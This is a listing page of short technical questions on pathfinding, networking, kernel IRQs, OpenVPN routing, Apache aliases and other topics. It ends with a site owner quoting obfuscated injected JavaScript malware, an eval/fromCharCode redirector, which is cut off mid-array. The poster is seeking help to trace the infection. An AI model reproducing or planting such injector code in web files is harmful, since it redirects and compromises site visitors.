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  • Prevent collisions between mobs/npcs/units piloted by computer AI : How to avoid mobile obstacles?

    - by Arthur Wulf White
    Lets says we have character a starting at point A and character b starting at point B. character a is headed to point B and character b is headed to point A. There are several simple ways to find the path(I will be using Dijkstra). The question is, how do I take preventative action in the code to stop the two from colliding with one another? case2: Characters a and b start from the same point in different times. Character b starts later and is the faster of the two. How do I make character b walk around character a without going through it? case3:Lets say we have m such characters in each side and there is sufficient room to pass through without the characters overlapping with one another. How do I stop the two groups of characters from "walking on top of one another" and allow them pass around one another in a natural organic way. A correct answer would be any algorithm, that given the path to the destination and a list of mobile objects that block the path, finds an alternative path or stops without stopping all units when there is sufficient room to traverse.

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  • Algorithm for procedural city generation?

    - by Zove Games
    I am planning on making a (simple) procedural city generator using Java. I need ideas on whan algorithm to use for the layout, and the actual buildings. The city will mostly have skyscrapers, not really much complex stuff. For the layout I already have a simple algorithm implemented: Create a Map with java.awt.Point keys and Integer values. Fill it with all the points in the city's bounds with the value as -1 (unnassigned) Shuffle the map, and assign the 1st 10 of the keys IDs (from 1-10) Loop until all points have IDs: Loop though all points: Assign points next to an assigned point IDs of the point next to them, if 2 or more points border the point, then randomly choose which ID the point will get. You will end up with 10 random regions. Make roads bordering these regions. Fill the inside of each region with a randomly spaced and randomly rotated grid PROBLEM: This is not the fastest way to do it. What algorithm should I use for the layout. And what should I use to make each building's design? I don't even know how I'm going to do that yet (fractals maybe). I just need some ideas, not actual code.

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  • small Windows network w/ printer issue

    - by user33666
    printer 1 connected to the desktop printer 2 connected to the same desktop that desktop is connected via Cat 5 to a wireless router a notebook is connected to that same router via WiFi The desktop Control Panel has just been reconfigured to share printers. (I assume this means that the desktop will now allow a notebook coming through the router to be able to access the two printers that are presently hooked up via the desktop--am I correct? Is that what it means?) The desktop can still print to either printer. It is presently okay. This notebook/printer relationship is a new configuration. The notebook, however, can't print at all (yet it can access the internet just fine). Any suggestions for it to be able to access the printers and be able to print via the desktop via the router? Thank you for any assistance.

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  • Path Modifier in Tower Of Defense Game

    - by Siddharth
    I implemented PathModifier for path of each enemy in my tower of defense game. So I applied fixed time to path modifier in that enemy complete their path. Like following code describe. new PathModifier(speed, path); Here speed define the time to complete the path. But in tower of defense game my problem is, there is a tower which slow down the movement of the enemy. In that particular situation I was stuck. please someone provide me some guidance what to do in this situation. EDIT : Path path = new Path(wayPointList.size()); for (int j = 0; j < wayPointList.size(); j++) { Point point = grid.getCellPoint(wayPointList.get(j).getRow(), wayPointList.get(j).getCol()); path.to(point.x, point.y); }

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  • Intersection of player and mesh

    - by Will
    I have a 3D scene, and a player that can move about in it. In a time-step the player can move from point A to point B. The player should follow the terrain height but slow going up cliffs and then fall back, or stop when jumping and hitting a wall and so on. In my first prototype I determine the Y at the player's centre's X,Z by intersecting a ray with every triangle in the scene. I am not checking their path, but rather just sampling their end-point for each tick. Despite this being Javascript, it works acceptably performance-wise. However, because I am modeling the player as a single point, the player can position themselves so that they are half-in a cliff face and so on. I need to model them as as a solid e.g. some cluster of spheres or a even their fuller mesh. I am also concerned that if they were moving faster they might miss the test altogether. How should I solve this?

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  • vectorizing a for loop in numpy/scipy?

    - by user248237
    I'm trying to vectorize a for loop that I have inside of a class method. The for loop has the following form: it iterates through a bunch of points and depending on whether a certain variable (called "self.condition_met" below) is true, calls a pair of functions on the point, and adds the result to a list. Each point here is an element in a vector of lists, i.e. a data structure that looks like array([[1,2,3], [4,5,6], ...]). Here is the problematic function: def myClass: def my_inefficient_method(self): final_vector = [] # Assume 'my_vector' and 'my_other_vector' are defined numpy arrays for point in all_points: if not self.condition_met: a = self.my_func1(point, my_vector) b = self.my_func2(point, my_other_vector) else: a = self.my_func3(point, my_vector) b = self.my_func4(point, my_other_vector) c = a + b final_vector.append(c) # Choose random element from resulting vector 'final_vector' self.condition_met is set before my_inefficient_method is called, so it seems unnecessary to check it each time, but I am not sure how to better write this. Since there are no destructive operations here it is seems like I could rewrite this entire thing as a vectorized operation -- is that possible? any ideas how to do this?

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  • GeoDjango: Exceptions for basic geographic queries

    - by omat
    I am having problems with geographic queries with GeoDjango running on SpatiaLite on my development environment. from django.contrib.gis.db import models class Test(models.Model): poly = models.PolygonField() point = models.PointField() geom = models.GeometryField() objects = models.GeoManager() Testing via shell: >>> from geotest.models import Test >>> from django.contrib.gis.geos import GEOSGeometry >>> >>> point = GEOSGeometry("POINT(0 0)") >>> point <Point object at 0x105743490> >>> poly = GEOSGeometry("POLYGON((0 0, 0 1, 1 1, 1 0, 0 0))") >>> poly <Polygon object at 0x105743370> >>> With these definitions, lets try some basic geographic queries. First contains: >>> Test.objects.filter(point__within=poly) Assertion failed: (0), function appendGeometryTaggedText, file WKTWriter.cpp, line 228. Abort trap And the django shell dies. And with within: >>> Test.objects.filter(poly__contains=point) GEOS_ERROR: Geometry must be a Point or LineString Traceback (most recent call last): ... GEOSException: Error encountered checking Coordinate Sequence returned from GEOS C function "GEOSGeom_getCoordSeq_r". >>> Other combinations also cause a variety of exceptions. I must be missing something obvious as these are very basic. Any ideas?

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  • JDBC/OSGi and how to dynamically load drivers without explicitly stating dependencies in the bundle?

    - by Chris
    Hi, This is a biggie. I have a well-structured yet monolithic code base that has a primitive modular architecture (all modules implement interfaces yet share the same classpath). I realize the folly of this approach and the problems it represents when I go to deploy on application servers that may have different conflicting versions of my library. I'm dependent on around 30 jars right now and am mid-way though bnding them up. Now some of my modules are easy to declare the versioned dependencies of, such as my networking components. They statically reference classes within the JRE and other BNDded libraries but my JDBC related components instantiate via Class.forName(...) and can use one of any number of drivers. I am breaking everything up into OSGi bundles by service area. My core classes/interfaces. Reporting related components. Database access related components (via JDBC). etc.... I wish for my code to be able to still be used without OSGi via single jar file with all my dependencies and without OSGi at all (via JARJAR) and also to be modular via the OSGi meta-data and granular bundles with dependency information. How do I configure my bundle and my code so that it can dynamically utilize any driver on the classpath and/or within the OSGi container environment (Felix/Equinox/etc.)? Is there a run-time method to detect if I am running in an OSGi container that is compatible across containers (Felix/Equinox/etc.) ? Do I need to use a different class loading mechanism if I am in a OSGi container? Am I required to import OSGi classes into my project to be able to load an at-bundle-time-unknown JDBC driver via my database module? I also have a second method of obtaining a driver (via JNDI, which is only really applicable when running in an app server), do I need to change my JNDI access code for OSGi-aware app servers?

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  • C# Vector maths questions

    - by Mark
    Im working in a screen coordinate space that is different to that of the classical X/Y coordinate space, where my Y direction goes down in the positive instead of up. Im also trying to figure out how to make a Circle on my screen always face away from the center point of the screen. If the center point of my screen is at x(200) y(300) and the point of my circle's center is at x(150) and y(380) then I would like to calculate the angle that the circle should be facing. At the moment I have this: Point centerPoint = new Point(200, 300); Point middleBottom = new Point(200, 400); Vector middleVector = new Vector(centerPoint.X - middleBottom.X, centerPoint.Y - middleBottom.Y); Vector vectorOfCircle = new Vector(centerPoint.X - 150, centerPoint.Y - 400); middleVector.Normalize(); vectorOfCircle.Normalize(); var angle = Math.Acos(Vector.CrossProduct(vectorOfCircle, middleVector)); Console.WriteLine("Angle: {0}", angle * (180/Math.PI)); Im not getting what I would expect. I would say that when I enter in x(150) and y(300) of my circle, I would expect to see the rotation of 90 deg, but Im not getting that... Im getting 180!! Any help here would be greatly appreciated. Cheers, Mark

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  • Address String Split in javscript

    - by Arasoi
    Ok folks I have bombed around for a few days trying to find a good solution for this one. What I have is two possible address formats. 28 Main St Somecity, NY 12345-6789 or Main St Somecity, Ny 12345-6789 What I need to do Is split both strings down into an array structured as such address[0] = HousNumber address[1] = Street address[2] = City address[3] = State address[4] = ZipCode My major problem is how to account for the lack of a house number. with out having the whole array shift the data up one. address[0] = Street address[1] = City address[2] = State address[3] = ZipCode [Edit] For those that are wondering this is what i am doing atm . (cleaner version) place = response.Placemark[0]; point = new GLatLng(place.Point.coordinates[1],place.Point.coordinates[0]); FCmap.setCenter(point,12); var a = place.address.split(','); var e = a[2].split(" "); var x = a[0].split(" "); var hn = x.filter(function(item,index){ return index == 0; }); var st = x.filter(function(item,index){ return index != 0; }); var street = ''; st.each(function(item,index){street += item + ' ';}); results[0] = new Hash({ FullAddie: place.address, HouseNum: hn[0], Dir: '', Street: street, City: a[1], State: e[1], ZipCode: e[2], GPoint: new GMarker(point), Lat: place.Point.coordinates[1], Lng: place.Point.coordinates[0] }); // End Address Splitting

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  • Clicking inside a polygon in Google Maps

    - by amarsh-anand
    The included JavaScript snippet is supposed to do the following: As the user clicks on the map, initialize headMarker and draw a circle (polygon) around it As the user clicks inside the circle, initialize tailMarker and draw the path between these two markers 1 is happening as expected. But as the user clicks inside the circle, in the function(overlay,point), overlay is non-null while point is null. Because of this, the code fails to initialize tailMarker. Can someone tell me a way out. GEvent.addListener(map, "click", function(overlay,point) { if (isCreateHeadPoint) { // add the head marker headMarker = new GMarker(point,{icon:redIcon,title:'0'}); map.addOverlay(headMarker); isCreateHeadPoint = false; // draw the circle drawMapCircle(point.lat(),point.lng(),1,'#cc0000',2,0.8,'#0',0.1); } else { // add the tail marker tailMarker = new GMarker(point,{icon:greenIcon,title:''}); map.addOverlay(tailMarker); isCreateHeadPoint = true; // load thes path from head to tail direction.load("from:" + headMarker.getPoint().lat()+ ", " + headMarker.getPoint().lng()+ " " + "to:" + tailMarker.getPoint().lat() + "," + tailMarker.getPoint().lng(), {getPolyline:true}); } });

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  • Implement a threading to prevent UI block on a bug in an async function

    - by Marcx
    I think I ran up againt a bug in an async function... Precisely the getDirectoryListingAsync() of the File class... This method is supposted to return an object containing the lists of files in a specified folder. I found that calling this method on a direcory with a lot of files (in my tests more than 20k files), after few seconds there is a block on the UI until the process is completed... I think that this method is separated in two main block: 1) get the list of files 2) create the array with the details of the files The point 1 seems to be async (for a few second the ui is responsive), then when the process pass from point 1 to point 2 the block of the UI occurs until the complete event is dispathed... Here's some (simple) code: private function checkFiles(dir:File):void { if (dir.exists) { dir.addEventListener( FileListEvent.DIRECTORY_LISTING, listaImmaginiLocale); dir.getDirectoryListingAsync(); // after this point, for the firsts seconds the UI respond well (point 1), // few seconds later (point 2) the UI is frozen } } private function listaImmaginiLocale( event:FileListEvent ):void { // from this point on the UI is responsive again... } Actually in my projects there are some function that perform an heavy cpu usage and to prevent the UI block I implemented a simple function that after some iteration will wait giving time to UI to be refreshed. private var maxIteration:int = 150000; private function sampleFunct(offset:int = 0) :void { if (offset < maxIteration) { // do something // call the recursive function using a timeout.. // if the offset in multiple by 1000 the function will wait 15 millisec, // otherwise it will be called immediately // 1000 is a random number for the pourpose of this example, but I usually change the // value based on how much heavy is the function itself... setTimeout(function():void{aaa(++offset);}, (offset%1000?15:0)); } } Using this method I got a good responsive UI without afflicting performance... I'd like to implement it into the getDirectoryListingAsync method but I don't know if it's possibile how can I do it where is the file to edit or extend.. Any suggestion???

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  • IRQ problem with 2.6.32/2.6.39 kernel on Debian Squeeze x86_64

    - by MasterM
    I recently assembled a new computer so that all hardware is pretty new. Since then I've been experiencing some problem with IRQs when running Debian 6.0. On random occasions, usually after an hour or so of running I hear a beep and this shows up in dmesg: [ 3537.762795] irq 16: nobody cared (try booting with the "irqpoll" option) [ 3537.762797] Pid: 0, comm: swapper Tainted: P W O 2.6.39-2-amd64 #1 [ 3537.762798] Call Trace: [ 3537.762799] <IRQ> [<ffffffff810924d4>] ? __report_bad_irq+0x3a/0xa2 [ 3537.762803] [<ffffffff810926a4>] ? note_interrupt+0x168/0x1da [ 3537.762805] [<ffffffff81090dd4>] ? handle_irq_event_percpu+0x171/0x18f [ 3537.762807] [<ffffffff8100e0e2>] ? read_tsc+0x5/0x16 [ 3537.762809] [<ffffffff8106b8a2>] ? update_ts_time_stats+0x32/0x6b [ 3537.762810] [<ffffffff81090e26>] ? handle_irq_event+0x34/0x52 [ 3537.762812] [<ffffffff81063fb7>] ? sched_clock_idle_wakeup_event+0x12/0x1c [ 3537.762813] [<ffffffff81092df2>] ? handle_fasteoi_irq+0x82/0xa4 [ 3537.762815] [<ffffffff8100aadb>] ? handle_irq+0x1a/0x23 [ 3537.762816] [<ffffffff8100a384>] ? do_IRQ+0x45/0xaa [ 3537.762818] [<ffffffff81332c93>] ? common_interrupt+0x13/0x13 [ 3537.762818] <EOI> [<ffffffff81332c8e>] ? common_interrupt+0xe/0x13 [ 3537.762821] [<ffffffff81026800>] ? native_safe_halt+0x2/0x3 [ 3537.762829] [<ffffffffa016ed58>] ? acpi_idle_do_entry+0x39/0x62 [processor] [ 3537.762831] [<ffffffffa016edde>] ? acpi_idle_enter_c1+0x5d/0xad [processor] [ 3537.762834] [<ffffffff81261033>] ? cpuidle_idle_call+0x11f/0x1cc [ 3537.762835] [<ffffffff81008dd2>] ? cpu_idle+0xab/0xe1 [ 3537.762837] [<ffffffff8169fc60>] ? start_kernel+0x3e0/0x3eb [ 3537.762838] [<ffffffff8169f3c8>] ? x86_64_start_kernel+0x102/0x10f [ 3537.762839] handlers: [ 3537.762840] [<ffffffffa0358d5a>] (rtl8169_interrupt+0x0/0x2d7 [r8169]) [ 3537.762842] [<ffffffffa08ff2ca>] (nv_kern_isr+0x0/0x54 [nvidia]) [ 3537.762902] Disabling IRQ #16 After that Xorg either hogs on CPU or is unstable (up to hanging the system completely). When I restart Xorg everything is fine again and the problem doesn't occur until next reboot. I tried to upgrade the kernel from stock 2.6.32 to 2.6.39 from unstable repository but that didn't help. Booting with irqpoll option only seems to prolong the initial time period after which the problem occurs. I'm using latest NVIDIA drivers and Realtek firmware from firmware-realtek package. I have two GTX 560Ti that run in SLI. Disabling SLI or taking out one card completely doesn't solve the problem either. Output of uname -a is: Linux whitestar 2.6.39-2-amd64 #1 SMP Wed Jun 8 11:01:04 UTC 2011 x86_64 GNU/Linux Output of lspci is: 00:00.0 Host bridge: Intel Corporation Sandy Bridge DRAM Controller (rev 09) 00:01.0 PCI bridge: Intel Corporation Sandy Bridge PCI Express Root Port (rev 09) 00:01.1 PCI bridge: Intel Corporation Sandy Bridge PCI Express Root Port (rev 09) 00:16.0 Communication controller: Intel Corporation Cougar Point HECI Controller #1 (rev 04) 00:19.0 Ethernet controller: Intel Corporation 82579V Gigabit Network Connection (rev 05) 00:1a.0 USB Controller: Intel Corporation Cougar Point USB Enhanced Host Controller #2 (rev 05) 00:1b.0 Audio device: Intel Corporation Cougar Point High Definition Audio Controller (rev 05) 00:1c.0 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 1 (rev b5) 00:1c.1 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 2 (rev b5) 00:1c.2 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 3 (rev b5) 00:1c.4 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 5 (rev b5) 00:1c.6 PCI bridge: Intel Corporation 82801 PCI Bridge (rev b5) 00:1d.0 USB Controller: Intel Corporation Cougar Point USB Enhanced Host Controller #1 (rev 05) 00:1f.0 ISA bridge: Intel Corporation Cougar Point LPC Controller (rev 05) 00:1f.2 SATA controller: Intel Corporation Cougar Point 6 port SATA AHCI Controller (rev 05) 00:1f.3 SMBus: Intel Corporation Cougar Point SMBus Controller (rev 05) 01:00.0 VGA compatible controller: nVidia Corporation Device 1200 (rev a1) 01:00.1 Audio device: nVidia Corporation Device 0e0c (rev a1) 02:00.0 VGA compatible controller: nVidia Corporation Device 1200 (rev a1) 02:00.1 Audio device: nVidia Corporation Device 0e0c (rev a1) 04:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04) 06:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04) 07:00.0 PCI bridge: Device 1b21:1080 (rev 01) 08:02.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8110SC/8169SC Gigabit Ethernet (rev 10) 08:03.0 FireWire (IEEE 1394): VIA Technologies, Inc. VT6306/7/8 [Fire II(M)] IEEE 1394 OHCI Controller (rev c0) Contents of /proc/interrupts: CPU0 CPU1 CPU2 CPU3 CPU4 CPU5 CPU6 CPU7 0: 77 0 0 0 0 0 0 0 IO-APIC-edge timer 1: 2 0 0 0 0 0 0 0 IO-APIC-edge i8042 8: 1 0 0 0 0 0 0 0 IO-APIC-edge rtc0 9: 0 0 0 0 0 0 0 0 IO-APIC-fasteoi acpi 12: 4 0 0 0 0 0 0 0 IO-APIC-edge i8042 16: 699083 0 0 0 0 0 0 0 IO-APIC-fasteoi nvidia, eth0 17: 87810 0 0 0 0 0 0 0 IO-APIC-fasteoi firewire_ohci, hda_intel, nvidia 18: 242 0 0 0 0 0 0 0 IO-APIC-fasteoi hda_intel 23: 85925 0 0 0 0 0 0 0 IO-APIC-fasteoi ehci_hcd:usb5, ehci_hcd:usb6 40: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 41: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 42: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 43: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 44: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 45: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 46: 79853 0 0 0 0 0 0 0 PCI-MSI-edge ahci 48: 1 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 49: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 50: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 51: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 52: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 53: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 54: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 55: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 56: 1 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 57: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 58: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 59: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 60: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 61: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 62: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 63: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 64: 173506 0 0 0 0 0 0 0 PCI-MSI-edge hda_intel NMI: 482 89 25 13 277 24 11 10 Non-maskable interrupts LOC: 783857 194752 114133 70577 372438 179065 117179 162016 Local timer interrupts SPU: 0 0 0 0 0 0 0 0 Spurious interrupts PMI: 482 89 25 13 277 24 11 10 Performance monitoring interrupts IWI: 0 0 0 0 0 0 0 0 IRQ work interrupts RES: 131917 46750 7432 3291 150003 9576 3435 3067 Rescheduling interrupts CAL: 2759 6563 7150 6997 5387 7140 7269 6678 Function call interrupts TLB: 4396 2038 1336 492 5434 1896 1121 606 TLB shootdowns TRM: 0 0 0 0 0 0 0 0 Thermal event interrupts THR: 0 0 0 0 0 0 0 0 Threshold APIC interrupts MCE: 0 0 0 0 0 0 0 0 Machine check exceptions MCP: 37 37 37 37 37 37 37 37 Machine check polls ERR: 0 MIS: 0 Last but not least, right after boot-up those lines are usually present in dmesg: [ 18.367094] hda-intel: IRQ timing workaround is activated for card #1. Suggest a bigger bdl_pos_adj. [ 18.458859] hda-intel: IRQ timing workaround is activated for card #2. Suggest a bigger bdl_pos_adj. I'm not sure if it's related or a symptom of a bigger problem so I'm posting it just in case. I don't really know what other information might be of relevance here. Don't hesitate to ask for more in the comments.

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  • Representing robot's elbow angle in 3-D

    - by Onkar Deshpande
    I am given coordinates of two points in 3-D viz. shoulder point and object point(to which I am supposed to reach). I am also given the length from my shoulder-to-elbow arm and the length of my forearm. I am trying to solve for the unknown position(the position of the joint elbow). I am using cosine rule to find out the elbow angle. Here is my code - #include <stdio.h> #include <math.h> #include <stdlib.h> struct point { double x, y, z; }; struct angles { double clock_wise; double counter_clock_wise; }; double max(double a, double b) { return (a > b) ? a : b; } /* * Check if the combination can make a triangle by considering the fact that sum * of any two sides of a triangle is greater than the remaining side. The * overlapping condition of links is handled separately in main(). */ int valid_triangle(struct point p0, double l0, struct point p1, double l1) { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); if((max(dist, l0) == dist) && max(dist, l1) == dist) { return (dist < (l0 + l1)); } else if((max(dist, l0) == l0) && (max(l0, l1) == l0)) { return (l0 < (dist + l1)); } else { return (l1 < (dist + l0)); } } /* * Cosine rule is used to find the elbow angle. Positive value indicates a * counter clockwise angle while negative value indicates a clockwise angle. * Since this problem has at max 2 solutions for any given position of P0 and * P1, I am returning a structure of angles which can be used to consider angles * from both direction viz. clockwise-negative and counter-clockwise-positive */ void return_config(struct point p0, double l0, struct point p1, double l1, struct angles *a) { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); double degrees = (double) acos((l0 * l0 + l1 * l1 - dist * dist) / (2 * l0 * l1)) * (180.0f / 3.1415f); a->clock_wise = -degrees; a->counter_clock_wise = degrees; } int main() { struct point p0, p1; struct angles a; p0.x = 15, p0.y = 4, p0.z = 0; p1.x = 20, p1.y = 4, p1.z = 0; double l0 = 5, l1 = 8; if(valid_triangle(p0, l0, p1, l1)) { printf("Three lengths can make a valid configuration \n"); return_config(p0, l0, p1, l1, &a); printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); if((dist <= (l0 + l1)) && (dist > l0)) { a.clock_wise = -180.0f; a.counter_clock_wise = 180.0f; printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else if((dist <= fabs(l0 - l1)) && (dist < l0)){ a.clock_wise = -0.0f; a.counter_clock_wise = 0.0f; printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else printf("Given combination cannot make a valid configuration\n"); } return 0; } However, this solution makes sense only in 2-D. Because clockwise and counter-clockwise are meaningless without an axis and direction of rotation. Returning only an angle is technically correct but it leaves a lot of work for the client of this function to use the result in meaningful way. How can I make the changes to get the axis and direction of rotation ? Also, I want to know how many possible solution could be there for this problem. Please let me know your thoughts ! Any help is highly appreciated ...

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  • Giving two different users permissions to a dir

    - by Jason Swett
    I have a script that is run sometimes via the web, sometimes via the command line. When the script is run via web, it's run via user www-data. When it's run via command line, it's run via user jason. This script writes to a directory called cache. If I chown -R jason cache, I can run the script as jason but not www-data. This makes sense. If I chown -R www-data cache, I can run the script as www-data but not jason. This also makes sense. I tried creating a group called scripts, adding my two users, then chowning cache to scripts. I'm not really sure how to do the last part, the chowning part. The Linux command docs I've found online for this are astoundingly bad. I don't know if I explained this all that well but hopefully it's clear what I'm trying to do. Any advice would be appreciated.

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  • Pinging an external server through OpenVPN tunnel doesn’t work

    - by qdii
    I have an OpenVPN server and a client, and I want to use this tunnel to access not only 10.0.8.0/24 but the whole internet. So far, pinging the server from the client through the tun0 interface works, and vice versa. However, pinging www.google.com from the client through tun0 doesn’t work (all packets are lost). I figured that I should configure the server so that any packet coming from tun0 in destination of the internet be forwarded, so I came up with this iptables config line: interface_connecting_to_the_internet='eth0' interface_openvpn='tun0' internet_ip_address=`ifconfig "$interface_connecting_to_the_internet" | sed -n s'/.*inet \([0-9.]*\).*/\1/p'` iptables -t nat -A POSTROUTING -o "${interface_connecting_to_the_internet}" -j SNAT --to-source "${internet_ip_address}" echo '1' > /proc/sys/net/ipv4/ip_forward Yet, this doesn’t work, the packets are still lost and I am wondering what could possibly be wrong with my setup. Some details: ip route gives on the server: default via 176.31.127.254 dev eth0 metric 3 10.8.0.0/24 via 10.8.0.2 dev tun0 10.8.0.2 dev tun0 proto kernel scope link src 10.8.0.1 127.0.0.0/8 via 127.0.0.1 dev lo 176.31.127.0/24 dev eth0 proto kernel scope link src 176.31.127.109 ip route gives on the client: default via 192.168.1.1 dev wlan0 proto static 10.8.0.1 via 10.8.0.5 dev tun0 10.8.0.5 dev tun0 proto kernel scope link src 10.8.0.6 127.0.0.0/8 via 127.0.0.1 dev lo scope link 192.168.1.0/24 dev wlan0 proto kernel scope link src 192.168.1.109 client uses wifi adapter wlan0 and TUN adapter tun0. server uses ethernet adapter eth0 and TUN adapter tun0. the VPN spans on 10.0.8.0/24 both client and linux are using Linux 3.6.1.

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  • Apache 2: I have multiple domain names I want to point to one Virtual Host. Do I use ServerAlias?

    - by Chris Altman
    I have multiple domain names, for example: www.foo.com www.goo.com www.moo.com www.coo.com I want all of these domain names to resolve to one website AND to redirect to www.foo.com What is the best method to achieve this? Multiple entries? Use ServerAlias? Something else? If the best method is ServerAlias, what is the syntax? ServerAlias www.goo.com, www.moo.com, www.coo.com

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  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,41